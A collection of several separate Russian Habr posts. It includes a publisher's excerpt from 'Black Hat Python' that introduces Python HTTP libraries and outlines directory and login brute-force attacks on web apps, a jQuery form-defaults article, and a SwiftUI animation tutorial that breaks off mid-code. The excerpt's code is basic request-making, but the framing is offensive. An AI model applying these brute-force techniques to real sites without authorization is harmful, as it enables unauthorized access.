> PPS. Автор не претендует на стопроцентную точность излагаемых здесь фактов и оставляет за собой право выражения своего сугубо субъективного мнения по данному вопросу.
>
>
>
> PPPS. Автор выражает сердечную благодарность всем читателям, высказавшим свои мнения, рекомендации и указавшим на ошибки в тексте.`
>
>
>
>
>
> | https://habr.com/ru/post/25958/ | null | ru | null |
# Книга «Black Hat Python: программирование для хакеров и пентестеров, 2-е изд»
[](https://habr.com/ru/company/piter/blog/592287/) Привет, Хаброжители! Когда речь идет о создании мощных и эффективных хакерских инструментов, большинство аналитиков по безопасности выбирают Python. Во втором издании бестселлера Black Hat Python вы исследуете темную сторону возможностей Python — все от написания сетевых снифферов, похищения учетных данных электронной почты и брутфорса каталогов до разработки мутационных фаззеров, анализа виртуальных машин и создания скрытых троянов.
С тех пор как я написал предисловие к первому чрезвычайно успешному изданию Black Hat Python, прошло шесть лет. За это время в мире многое изменилось, но я по-прежнему пишу чертовски много кода на Python. В сфере компьютерной безопасности все еще встречаются инструменты, написанные на разных языках, в зависимости от назначения. Эксплойты для ядра создают на C, средства фаззинга для веб-страниц — на JavaScript, а прокси-серверы могут быть написаны на таком новомодном языке, как Rust. Однако Python остается главной рабочей лошадкой в этой отрасли. Я считаю, что это все еще самый простой язык для начинающих и лучший выбор для быстрой разработки инструментов, решающих сложные задачи простым способом, учитывая большое количество доступных библиотек. Большая часть средств компьютерной безопасности и эксплойтов, как и раньше, написана на Python. Это касается фреймворков создания эксплойтов наподобие CANVAS, классических фаззеров, таких как Sulley, и всего остального.
### Веб-хакерство
Навыки анализа веб-приложений совершенно необходимы любому хакеру или пентестеру. В большинстве современных сетей веб-приложения имеют самый высокий потенциал для взлома, поэтому несанкционированный доступ к ним чаще всего получают через них самих.
На Python написано множество отличных веб-инструментов, включая w3af и sqlmap. Если честно, то такие темы, как внедрение SQL-кода, являются крайне заезженными, а готовый инструментарий достаточно развитой для того, чтобы не изобретать велосипед. Поэтому сосредоточимся на основах работы с сетью при помощи Python и затем, опираясь на эти знания, разработаем собственные инструменты для сбора полезных сведений и анализа веб-приложения методом перебора. Это позволит вам приобрести фундаментальные навыки и умения, необходимые для создания любого рода средств анализа веб-приложений, уместных в конкретной атаке.
В этой главе мы рассмотрим три сценария атаки. В первом из них вам известно, какой каркас веб-приложений применяет жертва, и так сложилось, что он имеет открытый исходный код. Каркас веб-приложений содержит множество файлов и вложенных каталогов. Мы сгенерируем локальную карту иерархии веб-приложения и воспользуемся ею для поиска реальных файлов и каталогов на компьютере жертвы.
Во втором сценарии вам известен только URL-адрес жертвы, поэтому придется прибегнуть к методу перебора, чтобы получить ту же структуру каталогов. Мы возьмем словарь и сгенерируем на его основе набор путей и названий каталогов, которые могут присутствовать на атакуемом компьютере. Затем попытаемся отобрать из полученного списка потенциальных путей те, которые действительно существуют.
В третьем сценарии вам известны базовый URL-адрес жертвы и страница для входа. Мы проанализируем эту страницу и попробуем подобрать учетные данные по словарю.
**Использование веб-библиотек**
Для начала сделаем краткий обзор библиотек, которые можно применять для взаимодействия с веб-сервисами. При выполнении сетевых атак вы можете пользоваться либо своим компьютером, либо устройством внутри атакуемой сети. Если вы пробрались на взломанный компьютер, то придется работать с тем, что под рукой, — это может быть базовая версия Python 2.х или Python 3.х. Мы поговорим о том, что можно сделать в такой ситуации, обходясь стандартной библиотекой. Однако в остальных разделах этой главы предполагается, что на компьютере, с которого проводится атака, установлены самые свежие пакеты.
**Библиотека urllib2 для Python 2.х**
В коде, написанном на Python 2.х, можно встретить пакет urllib2, встроенный в стандартную библиотеку. Если пакет socket применяется для написания сетевого инструментария, то с помощью urllib2 создают средства взаимодействия с веб-сервисами. Рассмотрим код, который выполняет очень простой GET-запрос к веб-сайту No Starch Press:
```
import urllib2
url = 'https://www.nostarch.com'
response = urllib2.urlopen(url) # GET
print(response.read())
response.close()
```
Это простейший пример того, как выполнить GET-запрос к веб-сайту. Мы передаем URL-адрес функции urlopen, которая возвращает объект, похожий на дескриптор, с его помощью можем прочитать тело того, что нам возвращает веб-сервер. Поскольку мы получаем всего лишь код страницы с веб-сайта No Starch, никакие клиентские скрипты, написанные на JavaScript или другом языке, выполняться не будут.
Однако в большинстве случаев требуется более гибкий подход к выполнению запросов. Например, иногда нужно указывать определенные заголовки, обрабатывать cookie и создавать запросы типа POST. Библиотека urllib2 имеет в своем составе класс Request, способный обеспечить такой уровень гибкости. В следующем примере показано, как с помощью этого класса создать такой же GET-запрос с указанием собственного HTTP-заголовка User-Agent:
```
import urllib2
url = "https://www.nostarch.com"
headers = {'User-Agent': "Googlebot"}
request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)
print(response.read())
response.close()
```
Процесс создания объекта Request немного отличается от того, который мы видели в предыдущем примере. Чтобы указать собственные заголовки, добавляем их названия и значения в словарь headers. В данном случае мы сделаем так, чтобы наш скрипт представлялся поисковым роботом Googlebot. Затем создаем объект Request, предоставляя ему url и словарь headers, после чего передаем этот объект функции urlopen. В ответ получаем обычный объект-дескриптор, который можно использовать для чтения данных с удаленного веб-сайта.
**Библиотека urllib для Python 3.х**
Стандартная библиотека Python 3.х содержит пакет urllib, в котором возможности urllib2 разделены на два подпакета: urllib.request и urllib.error. Также в urllib появились функции разбора URL-адресов, доступные в подпакете urllib.parse.
Для создания HTTP-запроса с помощью urllib можно воспользоваться диспетчером контекста и инструкцией with. Полученный ответ должен содержать байтовую строку. Вот как это выглядит на примере GET-запроса:
```
import urllib.parse
import urllib.request
url = 'http://boodelyboo.com'
with urllib.request.urlopen(url) as response: # GET
content = response.read()
print(content)
```
Здесь мы импортируем нужные нам пакеты и определяем целевой URL-адрес. Затем с помощью метода urlopen в качестве диспетчера контекста выполняем запрос и читаем ответ.
Чтобы создать POST-запрос, передайте словарь с данными, закодированными в виде байтов, объекту Request. Этот словарь должен содержать пары «ключ — значение», которые ожидает получить атакуемое вами веб-приложение. В этом примере словарь info содержит учетные данные (user, passwd), необходимые для входа на веб-сайт:
```
info = {'user': 'tim', 'passwd': '31337'}
data = urllib.parse.urlencode(info).encode()
# теперь данные имеют тип bytes
req = urllib.request.Request(url, data)
with urllib.request.urlopen(req) as response: # POST
content = response.read()
print(content)
```
Мы кодируем словарь с учетными данными, чтобы превратить его в объект типа bytes, помещаем его в POST-запрос, передающий эти учетные данные, и принимаем ответ на попытку входа в веб-приложение.
**Библиотека requests**
Даже официальная документация Python рекомендует использовать в качестве высокоуровневого клиентского HTTP-интерфейса пакет requests. Он не входит в стандартную библиотеку, поэтому его нужно устанавливать отдельно. Вот как это сделать с помощью pip:
```
pip install requests
```
Пакет requests выгодно отличается тем, что может автоматически обрабатывать cookie, и в этом вы сами сможете убедиться в следующем примере, хотя наиболее наглядно это будет представлено в ходе демонстрационной атаки на веб-сайт WordPress, которую мы проведем в разделе «Взлом HTML-формы аутентификации методом перебора» далее. Для выполнения HTTP-запроса проделайте следующее:
```
import requests
url = 'http://boodelyboo.com'
response = requests.get(url) # GET
data = {'user': 'tim', 'passwd': '31337'}
response = requests.post(url, data=data) # POST
print(response.text) # response.text = string; response.content = bytestring
```
Создаем url, request и словарь data с ключами user и passwd. Затем отправляем запрос методом POST и выводим атрибут text (строку). Если вы предпочитаете работать с байтовыми строками, используйте атрибут content, возвращенный вместе с ответом. Пример этого будет показан в разделе «Взлом HTML-формы аутентификации методом перебора».
**Пакеты lxml и BeautifulSoup**
Для разбора содержимого полученного HTTP-ответа подойдет пакет lxml или BeautifulSoup. За последние несколько лет эти два пакета стали более похожими, вы можете применять синтаксический анализатор lxml в сочетании с BeautifulSoup, равно как и синтаксический анализатор BeautifulSoup в сочетании с lxml. Другие хакеры используют в своем коде и тот, и другой пакет. У lxml синтаксический анализатор чуть быстрее, а у BeautifulSoup предусмотрена логика для автоматического обнаружения кодировки заданной HTML-страницы. Здесь мы будем работать с lxml. Оба пакета можно установить с помощью pip:
```
pip install lxml
pip install beautifulsoup4
```
Допустим, вы сохранили HTML-код, возвращенный внутри ответа, в переменную content. С помощью lxml можете извлечь из него ссылки, как показано далее:
from io import BytesIO
```
from lxml import etree
import requests
url = 'https://nostarch.com
r = requests.get(url) # GET
content = r.content # content имеет тип bytes
parser = etree.HTMLParser()
content = etree.parse(BytesIO(content), parser=parser) # преобразуем в дерево
for link in content.findall('//a'): # находим все ссылки (элементы "a")
print(f"{link.get('href')} -> {link.text}")
```
Импортируем класс BytesIO из модуля io, он позволит нам использовать байтовую строку в качестве файлового объекта при разборе HTTP-ответа. Затем, как и раньше, выполняем GET-запрос и разбираем ответ с помощью синтаксического HTML-анализатора lxml. Анализатор принимает на вход объект-дескриптор или имя файла. Класс BytesIO превратит возвращенную байтовую строку в объект-дескриптор, который можно будет передать синтаксическому анализатору lxml. Мы применяем простой запрос для поиска всех тегов a (ссылок), содержащихся в возвращенном ответе, и выводим результаты. Каждый тег a определяет ссылку. Его атрибут href содержит URL-адрес этой ссылки.
Обратите внимание на использование f-строки, которая на самом деле выполняет запись. В Python версии 3.6 и выше f-строки можно использовать для создания строк с переменными, заключенными в фигурные скобки. Это, к примеру, позволяет легко включить в строку результат вызова функции (link.get('href')) или обычное значение (link.text).
Такого же рода разбор можно выполнить и с помощью BeautifulSoup, используя следующий код. Как видите, это очень похоже на предыдущий пример на основе lxml:
```
from bs4 import BeautifulSoup as bs
import requests
url = 'http://bing.com'
r = requests.get(url)
tree = bs(r.text, 'html.parser') # преобразуем в дерево
for link in tree.find_all('a'): # находим все ссылки (элементы "a")
print(f"{link.get('href')} -> {link.text}")
```
Синтаксис почти идентичен. Мы преобразуем содержимое в дерево, перебираем ссылки (теги a) и выводим соответствующие адреса (атрибут href) и текст (link.text).
Если вы работаете на взломанном компьютере, вам, вероятно, придется отказаться от установки всех этих сторонних пакетов, чтобы не поднимать слишком много шума в сети. Таким образом, вы будете использовать то, что под рукой, — например, минимальные версии Python 2 или Python 3. Это означает, что придется ограничиться стандартной библиотекой (urllib2 или urllib соответственно).
В следующих примерах мы исходим из того, что вы используете для взлома собственный компьютер, следовательно, можете соединяться с веб-серверами с помощью пакета requests и разбирать полученный вывод с применением lxml.
Итак, вы получили базовые средства для взаимодействия с веб-сервисами и веб-сайтами. Теперь создадим инструментарий, который будет полезен для атаки или тестирования на проникновение любого веб-приложения.
**Получение структуры каталогов веб-приложений с открытым исходным кодом**
Системы управления контентом (content management systems, CMS) и платформы для блогов, такие как Joomla, WordPress и Drupal, делают процесс создания блога или веб-сайта простым. Они пользуются довольно высокой популярностью в средах виртуального хостинга и даже в корпоративных сетях. У любой системы есть свои нюансы в плане установки, конфигурации и управления патчами, и пакеты CMS — не исключение. То, что перегруженный системный администратор или незадачливый разработчик не до конца соблюдает все процедуры обеспечения безопасности и установки ПО, может упростить взломщику получение доступа к веб-серверу.
Мы можем скачать любое веб-приложение с открытым исходным кодом и локально проанализировать его файлы и структуру каталогов. Это позволяет создать специализированный сканер, способный находить все файлы, доступные на удаленном компьютере. Таким образом можно избавиться от файлов, оставшихся после установки, защитить с помощью файлов .htaccess каталоги, требующие этого, и позаботиться о прочих нюансах, которые могут позволить взломщику проникнуть на веб-сервер.
В этом проекте мы также познакомимся с объектом Python Queue, позволяющим создавать большие потокобезопасные очереди, элементы которых обрабатываются разными потоками. Это сделает наш сканер очень быстрым. К тому же не нужно будет волноваться о состояниях гонки, так как очередь, в отличие от списка, будет потокобезопасной.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/black-hat-python-programmirovanie-dlya-hakerov-i-pentesterov-2-e-izd?_gs_cttl=120&gs_direct_link=1&gsaid=103235&gsmid=29789&gstid=c)
» [Оглавление](https://www.piter.com/product/black-hat-python-programmirovanie-dlya-hakerov-i-pentesterov-2-e-izd#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/black-hat-python-programmirovanie-dlya-hakerov-i-pentesterov-2-e-izd#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **Python**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
* Обратите внимание, сейчас проходит [Распродажа «Чёрная Пятница»](https://habr.com/ru/company/piter/news/t/590621/) от издательства «Питер». | https://habr.com/ru/post/592287/ | null | ru | null |
# Снова про формы: значения по умолчанию
jQuery дает практически безграничные возможности по обогащению пользовательского интерфейса, а самое интересное зачастую связано с элементами управления на страницах, в частности с формами.
Современные интерфейсы часто стремятся к минимализму. При изяществе дизайна, вэб-технологи стремятся к изяществу решений, принимаемых в процессе реализации. Я часто занимаюсь разработкой интерфейсов, версткой и клиентским программированием — и постоянно ищу новые решения для старых задач.
В статье речь пойдет о значениях в полях формы по умолчанию, когда название поля является его изначальным содержимым. А также об изящном решении этой задачи на практике.
В последнее время я все чаще и чаще встречаю похожие на эту вэб формы:

Это хорошее визуальное решение, правда с очевидными и не очевидными особенностями.
#### Про поиски
Во-первых, часто встречается явно вписанный (сгенерированный?) в html-разметку яваскрипт-код, который занимается обработкой событий onfocus/onblur, а иногда в внешнем яваскрипт-файле прописаны события на каждый элемент индивидуально, где также указаны их значения по умолчанию. Например при потере фокуса:
> `$("input#name").blur(function(){ $(this).attr("value", "Ваше имя")})
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Во-вторых, после начала ввода в такое поле — уже никак не посмотреть, что это в конце концов за поле (конечно, редко большие формы или анкеты оформлены именно таким образом, но все равно это недостаток). Остается стереть значение, чтобы сработал яваскрипт-обработчик, и вернулось значение по умолчанию.
В-третьих, популярная ныне семантичность, удобство, разделение представления и кода — все это привело к тому, что многие изученные способы просто отметались. Зачем писать код полей по умолчанию в javascript?
В сети люди изобретали разные велосипеды, в разной степени варьировавшиеся от обсужденных выше вариантов. Что ж, подумал я, пожалуй одним велосипедом будет больше.
#### Про решение
Все оказалось очень просто. Ведь есть очень удобный атрибут title, который поможет узнать пользователю о том, в каком поле он находится при наведении на него мышкой:

«Так, стоп! Это же и есть хранилище для значения по умолчанию!», — так примерно и была решена задача. Всего несколько строк кода:
> `jQuery(document).ready(function(){
>
> $("input, textarea").focus(function(){
>
> if ($(this).attr("value") == $(this).attr("title"))
>
> $(this).attr("value", "")
>
> });
>
>
>
> $("input, textarea").blur(function(){
>
> if ($(this).attr("value") == "")
>
> $(this).attr("value", $(this).attr("title"))
>
> });
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Всего несколько строк кода решают эту задачу наилучшим способом, который я могу себе представить. Ничего лишнего, никакого дублирования, просто, вкусно, семантично. Могу сразу сказать, что сохранение значения value по умолчанию — плохой вариант. Обновление страницы не всегда влечет за собой обновление формы — особенность многих браузеров, заботящихся о сохранности данных пользователя.
Надеюсь, что метод пригодится таким же ищущим, каким был я некоторое время назад.
**UPD:** Прошу не обвинять меня в том, что я предлагаю панацею. Я такого не говорил. Доработать, добавить типы полей, проверить введенные значения и так далее — все это выходит за рамки статьи и может быть реализовано нуждающимися самостоятельно. Я показал подход к решению задачи. | https://habr.com/ru/post/98010/ | null | ru | null |
# SwiftUI по полочкам: Анимация. Часть 1

Недавно мне попалась свежая [статья](https://habr.com/ru/post/501790/), в которой ребята пытались воспроизвести интересный концепт средствами SwiftUI. Вот что у них получилось:

Я с интересом изучил их код, но испытал некоторое разочарование. Нет, не в том смысле, что они что-то сделали неправильно, вовсе нет. Просто я не узнал из их кода практически ничего нового. Их реализация, это скорее про Combine, нежели про анимацию. И я решил ~~построить свой лунопарк~~ написать свою статью об анимации в SwiftUI, реализовав примерно тот же концепт, но используя на 100% возможности встроенной анимации, даже если это не совсем эффективно. Изучать — так до конца. Экспериментировать — так с огоньком:)
Вот что получилось у меня:

Однако, для полноценного раскрытия темы мне пришлось довольно подробно рассказать о самых основах. Текст получился объемным, и потому, я разбил его на две статьи. Перед вами первая ее часть — скорее туториал по анимации вообще, не связанный непосредственно с радужной анимацией, о которой я еще расскажу подробно в следующей статье.
В этой статье же, я расскажу об основах, без понимания которых можно легко запутаться в более сложных примерах. Многое из того, о чем я буду говорить, в том или ином виде уже было рассказано в англоязычных статьях например этой серии ([1](https://swiftui-lab.com/swiftui-animations-part1/), [2](https://swiftui-lab.com/swiftui-animations-part2/), [3](https://swiftui-lab.com/swiftui-animations-part3/), [4](https://swiftui-lab.com/advanced-transitions/)). Я же, сосредоточился не столько на перечислении способов работы, сколько на описании того, как именно это работает. И как всегда, я много экспериментировал, так что самыми интересными результатами спешу поделиться.
warning: под катом много картинок и gif-анимаций.
### TLDR
Проект доступен на [гитхабе](https://github.com/FranchukAndrei/SwiftUIAnimation). Текущий результат с радужной анимацией можно посмотреть в TransitionRainbowView(), но я не торопился бы на вашем месте, а подождал следующей статьи. К тому же, при ее подготовке, я и код немного причешу.
В этой статье мы будем обсуждать только основы, и затронем только содержимое папки Bases
Введение
--------
Признаюсь, не собирался писать эту статью сейчас. У меня был план, согласно которому статья об анимации должна была выйти третьей или даже четвертой по счету. Однако, я не удержался, очень уж хотелось предоставить альтернативную точку зрения.
Сразу хочу оговориться. Я не считаю, что в упомянутой статье были допущены какие-то ошибки, или подход использованный в ней неверен. Вовсе нет. В ней строится объектная модель процесса (анимации), которая, реагируя на полученный сигнал, начинает что-то делать. Однако, как по мне, данная статья скорее раскрывает работу с фреймворком Combine. Да, этот фреймворк — важная часть SwiftUI, но это скорее про react-like стиль вообще, чем про анимацию.
Мой вариант — уж точно не элегантрее, не быстрее и не проще поддерживать. Однако, он намного лучше раскрывает то, что под капотом у SwiftUI, а ведь именно в этом была цель статьи — разобраться в первую очередь.
Как я уже говорил в [предыдущей статье](https://habr.com/ru/post/485548/) по SwiftUI, я начал свое погружение в мир мобильной разработки сразу же со SwiftUI, проигнорировав UIKit. У этого, разумеется, есть своя цена, но есть и преимущества. Я не пытаюсь жить в новом монастыре по старому уставу. Честно сказать, мне вообще никакие уставы еще не знакомы, поэтому, у меня нет отторжения нового. Именно поэтому, данная статья, как мне кажется, может иметь ценность не только для новичков, как я, но и для тех, кто изучает SwiftUI уже имея background в виде разработки на UIKit. Мне кажется, именно свежего взгляда многим не хватает. Не делать все то же самое, пытаясь приладить новый инструмент к старым чертежам, а изменить свое видение согласно новым возможностям.
Мы, 1с-ники, проходили это с “управляемыми формами”. Это своего рода SwiftUI в мире 1с, который случился уже более 10 лет тому. На самом деле аналогия довольно точная, ведь управляемые формы — это всего лишь новый способ рисовать интерфейс. Однако он полностью изменил клиент-серверное взаимодействие приложения в целом, и картину мира в головах разработчиков в частности. Это далось нелегко, я и сам лет 5 никак не хотел его изучать, т.к. считал что многие возможности, которые там были обрезаны, мне просто необходимы. Но, как показала практика, кодить на управляемых формах не только можно, а только так и нужно.
Впрочем, не будем больше об этом. У меня получился подробный, самостоятельный гайд, не имеющий каких-то отсылок, или иных связей с упомянутой статьей или 1с-ным прошлым. Шаг за шагом мы будем погружаться в детали, особенности, принципы и ограничения. Поехали.
Анимируем Shape
---------------
### Как работает анимация вообще
Итак, основная идея анимации — это превращение какого-то конкретного, дискретного изменения в непрерывный процесс. Например, радиус круга был 100 единиц, стал 50 единиц. Без анимации, изменение произойдет мгновенно, с анимацией — плавно. Как это работает? Очень просто. Для плавности изменений нам потребуется интерполировать несколько значений внутри отрезка “Было… Стало”. В случае с радиусом, нам придется отрисовать несколько промежуточных кругов радиусом 98 единиц, 95 единиц, 90 единиц… 53 единицы и, наконец, 50 единиц. SwiftUI умеет делать это легко и непринужденно, достаточно завернуть код, выполняющий это изменение в withAnimation{...}. Это кажется магией… До того момента как ты захочешь реализовать что-то чуть сложнее “hello world”.
Давайте перейдем к примерам. Самым простым и понятным объектом для анимации принято считать анимацию форм. Shape (я все же буду называть структуру удовлетворяющую протоколу shape формой) в SwiftUI — это структура с параметрами, которая умеет вписывать себя в данные границы. Т.е. это структура имеющая функцию body(in rect: CGRect) -> Path. Все что нужно рантайму чтобы отрисовать эту форму, это запросить ее контур (результат функции — объект типа Path, фактически, представляет собой кривую Безье) для требуемого размера (указанного в качестве параметра функции, прямоугольника типа CGRect).
Shape — это хранимая структура. Инициализировав ее, вы храните в параметрах все что потребуется для отрисовки ее контура. Размер выделенного под данную форму может меняться, тогда все что нужно, это получить новое значение Path для нового фрейма CGRect, и вуаля.
Давайте начнем уже кодить:
```
struct CircleView: View{
var radius: CGFloat
var body: some View{
Circle()
.fill(Color.green)
.frame(height: self.radius * 2)
.overlay(
Text("Habra")
.font(.largeTitle)
.foregroundColor(.gray)
)
}
}
struct CustomCircleView: View{
var radius: CGFloat
var body: some View{
CustomCircle()
.fill(Color.gray)
.frame(width: self.radius * 2, height: self.radius * 2)
.overlay(
Text("Habr")
.font(.largeTitle)
.foregroundColor(.green)
)
}
}
struct CustomCircleTestView: View {
@State var radius: CGFloat = 50
var body: some View {
VStack{
CircleView(radius: radius)
.frame(height: 200)
Slider(value: self.$radius, in: 42...100)
Button(action: {
withAnimation(.linear(duration: 1)){
self.radius = 50
}
}){
Text("set default radius")
}
}
}
}
```

Итак, у нас есть есть круг (Circle()), радиус которого мы можем изменять с помощью ползунка. Это происходит плавно, т.к. ползунок выдает нам все промежуточные значения. Однако, при нажатии кнопки “set default radius”, изменение тоже происходит не мгновенно, а согласно инструкции withAnimation(.linear(duration: 1)). Линейно, без ускорений, растянуто на 1 секунду. Класс! Мы освоили анимацию! Расходимся:)
А что если мы захотим реализовать свою собственную форму, и анимировать ее изменения? Сложно ли это сделать? Давайте проверять.
Я сделал копию Circle следующим образом:
```
struct CustomCircle: Shape{
public func path(in rect: CGRect) -> Path{
let radius = min(rect.width, rect.height) / 2
let center = CGPoint(x: rect.width / 2, y: rect.height / 2)
return Path(){path in
if rect.width > rect.height{
path.move(to: CGPoint(x: center.x, y: 0))
let startAngle = Angle(degrees: 270)
path.addArc(center: center, radius: radius, startAngle: startAngle, endAngle: startAngle + Angle(degrees: 360), clockwise: false)
}else{
path.move(to: CGPoint(x: 0, y: center.y))
let startAngle = Angle(degrees: 0)
path.addArc(center: center, radius: radius, startAngle: startAngle, endAngle: startAngle + Angle(degrees: 360), clockwise: false)
}
path.closeSubpath()
}
}
}
```
Радиус круга рассчитываем как половину меньшей из величин ширины и высоты границы выделенной нам области экрана. Если ширина больше высоты, мы начинаем с середины верхней границы (Примечание 1), описываем полный круг по часовой стрелке (примечание 2), и на этом замыкаем наш контур. Если высота больше ширины, начинаем с середины правой границы, так же описываем полный круг по часовой и замыкаем контур.
**Примечание 1**
Apple предлагает разработчикам пользоваться перевернутой (а точнее отраженной) системой координат. В ней, левый верхний угол соответствует координатам (0, 0), а правый нижний угол может быть описан координатой (x, y), где x — ширина экрана, а y — его высота. Т.е. движение вниз по координатной сетке соответствует увеличению y. Положительное значение y — это высота вниз. Отсюда следует, что и углы меряются по этой же логике. Угол 90 градусов соответствует направлению вниз, 180 градусов — влево, 270 градусов — вверх.
**Примечание 2**
Из примечания 1 следует и то, что понятия “по часовой” и “против часовой” стрелке так же ивертированы вследствии использования отраженной координатной системы. Об этом говорится и в [документации](https://developer.apple.com/documentation/coregraphics/cgcontext/2427129-addarc) к Core Graphics (SwiftUI не более чем надстройка над ней):
> In a flipped coordinate system (the default for UIView drawing methods in iOS), specifying a clockwise arc results in a counterclockwise arc after the transformation is applied.
Давайте проверим, как наш новый круг будет реагировать на изменения в блоке withAnimation:
```
struct CustomCircleView: View{
var radius: CGFloat
var body: some View{
CustomCircle()
.fill(Color.gray)
.frame(width: self.radius * 2, height: self.radius * 2)
.overlay(
Text("Habr")
.font(.largeTitle)
.foregroundColor(.green)
)
}
}
struct CustomCircleTestView: View {
@State var radius: CGFloat = 50
var body: some View {
VStack{
HStack{
CircleView(radius: radius)
.frame(height: 200)
CustomCircleView(radius: radius)
.frame(height: 200)
}
Slider(value: self.$radius, in: 42...100)
Button(action: {
withAnimation(.linear(duration: 1)){
self.radius = 50
}
}){
Text("set default radius")
}
}
}
}
```

Здорово! Мы научились делать собственные картинки произвольной формы и анимировать их! Ведь так?
На самом деле нет. Всю работу здесь делает модификатор .frame(width: self.radius \* 2, height: self.radius \* 2). Внутри блока withAnimation{...} мы изменяем [State](https://habr.com/ru/users/state/) переменную, она посылает сигнал к повторной инициализации CustomCircleView() с новым значением radius, это новое значение попадает в модификатор .frame(), а уже этот модификатор умеет анимировать изменение параметров. Наша форма CustomCircle() реагирует на это с анимацией, поскольку она не зависит ни от чего, кроме размеров выделенной для нее области. Изменение области происходит с анимацией, (т.е. постепенно, интерполируя промежуточные значения между было-стало), потому и наш круг отрисовывается с этой же анимацией.
Давайте чуть упростим (или все же усложним?) нашу форму. Не будем вычислять радиус исходя из размеров доступной области, а передадим радиус в готовом виде, т.е. сделаем его хранимым параметром структуры.
```
struct CustomCircle: Shape{
var radius: CGFloat
public func path(in rect: CGRect) -> Path{
//let radius = min(rect.width, rect.height) / 2
...
}
}
struct CustomCircleView: View{
var radius: CGFloat
var body: some View{
CustomCircle(radius: radius)
.fill(Color.gray)
//.frame(height: self.radius * 2)
...
}
}
```

Ну вот, магия безвозвратно утеряна.
Мы исключили модификатор frame() из нашей CustomCircleView(), переложив ответственность за размер круга на саму форму, и анимация пропала. Но не беда, научить форму анимировать изменения ее параметров не слишком сложно. Для этого, нужно реализовать требования протокола Animatable:
```
struct CustomCircle: Shape, Animatable{
var animatableData: CGFloat{
get{
radius
}
set{
print("new radius is \(newValue)")
radius = newValue
}
}
var radius: CGFloat
public func path(in rect: CGRect) -> Path{
...
}
```

Вуаля! Магия снова вернулась!
И вот теперь мы можем с уверенностью утверждать, что наша форма действительно анимирована — она умеет отражать изменения своих параметров с анимацией. Мы дали системе форточку, куда она может пропихивать интерполированные значения, необходимые для анимации. Если такая форточка есть — изменения анимируются. Если ее нет — изменения проходят без анимации, т.е. мгновенно. Ничего сложного, да?
AnimatableModifier
------------------
### Как анимировать изменения внутри View
Но давайте уже перейдем непосредственно к View. Предположим, мы хотим анимировать положение какого-то элемента внутри контейнера. В нашем случае, это будет простой прямоугольник зеленого цвета и шириной 10 единиц. Анимировать будем его положение по горизонтали.
```
struct SimpleView: View{
@State var position: CGFloat = 0
var body: some View{
VStack{
ZStack{
Rectangle()
.fill(Color.gray)
BorderView(position: position)
}
Slider(value: self.$position, in: 0...1)
Button(action: {
withAnimation(.linear(duration: 1)){
self.position = 0
}
}){
Text("set to 0")
}
}
}
}
struct BorderView: View, Animatable{
public var animatableData: CGFloat {
get {
print("Reding position: \(position)")
return self.position
}
set {
self.position = newValue
print("setting position: \(position)")
}
}
let borderWidth: CGFloat
init(position: CGFloat, borderWidth: CGFloat = 10){
self.position = position
self.borderWidth = borderWidth
print("BorderView init")
}
var position: CGFloat
var body: some View{
GeometryReader{geometry in
Rectangle()
.fill(Color.green)
.frame(width: self.borderWidth)
.offset(x: self.getXOffset(inSize: geometry.size), y: 0)
// .borderIn(position: position)
}
}
func getXOffset(inSize: CGSize) -> CGFloat{
print("calculating position: \(position)")
return -inSize.width / 2 + inSize.width * position
}
}
```

Класс! Работает! Теперь мы знаем все об анимации!
На самом деле нет. Если посмотреть в консоль, то там увидим следующее:
> BorderView init
>
> calculating position: 0.4595176577568054
>
> BorderView init
>
> calculating position: 0.468130886554718
>
> BorderView init
>
> calculating position: 0.0
Во-первых, каждое изменение значения position с помощью слайдера вызывает повторную инициализацию BorderView с новым значением. Именно поэтому мы видим плавное движение зеленой линии вслед за ползунком, ползунок просто очень часто сообщает об изменении переменной, и это выглядит как анимация, но ею не является. Пользоваться ползунком действительно удобно когда вы отлаживаете анимацию. Вы можете с его помощью отслеживать какие-то переходные состояния.
Во-вторых, мы видим, что calculating position просто стало равно 0, и никаких промежуточных логов, как это было в случае правильной анимации круга. Почему?
Все дело, как и в предыдущем примере, в модификаторе. На этот раз, модификатор .offset() получает новое значение отступа, и сам анимирует это изменение. Т.е. на самом деле анимируется не изменение параметра position, как мы задумывали, а производное от него изменение отступа по горизонтали в модификаторе .offset(). В данном случае это безобидная замена, результат получился тот же. Но раз уж взялись, давайте копать глубже. Сделаем свой собственный модификатор, который на входе будет получать position (от 0 до 1), сам будет получать размер доступной области и вычислять отступ.
```
struct BorderPosition: ViewModifier{
var position: CGFloat
func body(content: Content) -> some View {
GeometryReader{geometry in
content
.offset(x: self.getXOffset(inSize: geometry.size), y: 0)
.animation(nil)
}
}
func getXOffset(inSize: CGSize) -> CGFloat{
let offset = -inSize.width / 2 + inSize.width * position
print("at position \(position) offset is \(offset)")
return offset
}
}
extension View{
func borderIn(position: CGFloat) -> some View{
self.modifier(BorderPosition(position: position))
}
}
```
В исходной BorderView, соответственно, GeometryReader нам больше не нужен, равно как и функция по вычислению отступа:
```
struct BorderView: View, Animatable{
...
var body: some View{
Rectangle()
.fill(Color.green)
.frame(width: self.borderWidth)
.borderIn(position: position)
}
}
```

Да, мы все еще используем внутри нашего модификатора .offset(), но после него мы добавили модификатор .animation(nil), который блокирует собственную анимацию offset. Понимаю, на данном этапе вы можете решить, что достаточно убрать эту блокировку, но тогда мы не докопаемся до истины. А истина в том, что наша хитрость с animatableData для BorderView не работает. На самом деле, если посмотреть документацию к протоколу [Animatable](https://developer.apple.com/documentation/swiftui/animatable), можно заметить, что имплементация этого протокола поддерживается только для AnimatableModifier, GeometryEffect и Shape. View среди них нет.
### Правильный подход — анимировать модификации
Сам подход, когда мы просим View анимировать какие-то изменения был не верен. Для View нельзя использовать тот же подход, что и для форм. Вместо этого, анимацию нужно вкладывать в каждый модификатор. Большинство встроенных модификаторов уже поддерживают анимацию из коробки. Если вы хотите анимацию для ваших собственных модификаторов, вы можете использовать протокол AnimatableModifier вместо ViewModifier. И вот там можно реализовать все то же самое, что и при анимации изменений форм, как мы делали выше.
```
struct BorderPosition: AnimatableModifier {
var position: CGFloat
let startDate: Date = Date()
public var animatableData: CGFloat {
get {
print("reading position: \(position) at time \(Date().timeIntervalSince(startDate))")
return position
}
set {
position = newValue
